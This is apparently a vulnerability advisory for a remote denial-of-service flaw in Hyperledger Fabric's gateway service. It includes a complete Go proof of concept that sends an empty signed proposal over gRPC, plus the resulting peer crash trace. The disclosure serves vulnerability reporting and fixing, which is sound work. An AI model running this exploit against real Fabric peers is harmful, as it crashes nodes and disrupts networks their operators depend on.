Remote denial of service in HyperLedger Fabric

How to reproduce 1.Bring up the test network.(https://hyperledger-fabric.readthedocs.io/en/latest/test_network.html#bring-up-the-test-network) 2.Run the PoC. ```bash go run poc.go -server=192.168.0.208:7051 ``` ```go package main import ( "context" "crypto/tls" "flag" "fmt" "github.com/hyperledger/fabric-protos-go/gateway" "github.com/hyperledger/fabric-protos-go/peer" "google.golang.org/grpc" "google.golang.org/grpc/credentials" ) func main() { var srv string flag.StringVar(&srv, "server", "localhost:7050", "The RPC server to connect to.") flag.Parse() config := &tls.Config{ InsecureSkipVerify: true, } conn, err := grpc.Dial(srv, grpc.WithTransportCredentials(credentials.NewTLS(config))) defer func() { _ = conn.Close() }() if err != nil { fmt.Println("Error connecting:", err) return } payload := &gateway.EvaluateRequest{} payload.ProposedTransaction = &peer.SignedProposal{} resp, err := gateway.NewGatewayClient(conn).Evaluate(context.TODO(), payload) if err != nil { fmt.Println("Error connecting:", err) return } fmt.Println("resp:", resp) } ``` 3.Crash. ```log panic: runtime error: invalid memory address or nil pointer dereference [signal SIGSEGV: segmentation violation code=0x1 addr=0x8 pc=0x157d6c7] goroutine 381927 [running]: github.com/hyperledger/fabric/internal/pkg/gateway.getChannelAndChaincodeFromSignedProposal(0x0?) /go/src/github.com/hyperledger/fabric/internal/pkg/gateway/apiutils.go:49 +0xe7 github.com/hyperledger/fabric/internal/pkg/gateway.(*Server).Evaluate(0xc0001dd3e0, {0x1b55c58?, 0xc00359aa80}, 0xc003470600) /go/src/github.com/hyperledger/fabric/internal/pkg/gateway/api.go:43 +0x85 github.com/hyperledger/fabric-protos-go/gateway._Gateway_Evaluate_Handler.func1({0x1b55c58, 0xc00359aa80}, {0x18ed0a0?, 0xc003470600}) /go/src/github.com/hyperledger/fabric/vendor/github.com/hyperledger/fabric-protos-go/gateway/gateway.pb.go:1176 +0x78 github.com/hyperledger/fabric/internal/peer/node.unaryGrpcLimiter.func1({0x1b55c58, 0xc00359aa80}, {0x18ed0a0, 0xc003470600}, 0x195a8d5?, 0xc003400210) /go/src/github.com/hyperledger/fabric/internal/peer/node/grpc_limiters.go:49 +0x38e github.com/grpc-ecosystem/go-grpc-middleware.ChainUnaryServer.func1.1.1({0x1b55c58?, 0xc00359aa80?}, {0x18ed0a0?, 0xc003470600?}) /go/src/github.com/hyperledger/fabric/vendor/github.com/grpc-ecosystem/go-grpc-middleware/chain.go:25 +0x3a github.com/hyperledger/fabric/common/grpclogging.UnaryServerInterceptor.func1({0x1b55c58, 0xc00359a810}, {0x18ed0a0, 0xc003470600}, 0xc000308420, 0xc000308440) /go/src/github.com/hyperledger/fabric/common/grpclogging/server.go:92 +0x305 github.com/grpc-ecosystem/go-grpc-middleware.ChainUnaryServer.func1.1.1({0x1b55c58?, 0xc00359a810?}, {0x18ed0a0?, 0xc003470600?}) /go/src/github.com/hyperledger/fabric/vendor/github.com/grpc-ecosystem/go-grpc-middleware/chain.go:25 +0x3a github.com/hyperledger/fabric/common/grpcmetrics.UnaryServerInterceptor.func1({0x1b55c58, 0xc00359a810}, {0x18ed0a0, 0xc003470600}, 0x7f0fb3c94a38?, 0xc000308460) /go/src/github.com/hyperledger/fabric/common/grpcmetrics/interceptor.go:31 +0x17b github.com/grpc-ecosystem/go-grpc-middleware.ChainUnaryServer.func1.1.1({0x1b55c58?, 0xc00359a810?}, {0x18ed0a0?, 0xc003470600?}) /go/src/github.com/hyperledger/fabric/vendor/github.com/grpc-ecosystem/go-grpc-middleware/chain.go:25 +0x3a github.com/grpc-ecosystem/go-grpc-middleware.ChainUnaryServer.func1({0x1b55c58, 0xc00359a810}, {0x18ed0a0, 0xc003470600}, 0xc000521ae0?, 0x17ab820?) /go/src/github.com/hyperledger/fabric/vendor/github.com/grpc-ecosystem/go-grpc-middleware/chain.go:34 +0xbf github.com/hyperledger/fabric-protos-go/gateway._Gateway_Evaluate_Handler({0x189b040?, 0xc0001dd3e0}, {0x1b55c58, 0xc00359a810}, 0xc0034705a0, 0xc0001f0720) /go/src/github.com/hyperledger/fabric/vendor/github.com/hyperledger/fabric-protos-go/gateway/gateway.pb.go:1178 +0x138 google.golang.org/grpc.(*Server).processUnaryRPC(0xc0006a2e00, {0x1b5a950, 0xc0002f4480}, 0xc00321e100, 0xc00045a780, 0x2398808, 0xc00357a740) /go/src/github.com/hyperledger/fabric/vendor/google.golang.org/grpc/server.go:1180 +0xc8f google.golang.org/grpc.(*Server).handleStream(0xc0006a2e00, {0x1b5a950, 0xc0002f4480}, 0xc00321e100, 0xc00357a740) /go/src/github.com/hyperledger/fabric/vendor/google.golang.org/grpc/server.go:1503 +0xa1b google.golang.org/grpc.(*Server).serveStreams.func1.2() /go/src/github.com/hyperledger/fabric/vendor/google.golang.org/grpc/server.go:843 +0x98 created by google.golang.org/grpc.(*Server).serveStreams.func1 /go/src/github.com/hyperledger/fabric/vendor/google.golang.org/grpc/server.go:841 +0x28a ``` ## Impact It can easily break down as many peers as the attacker wants.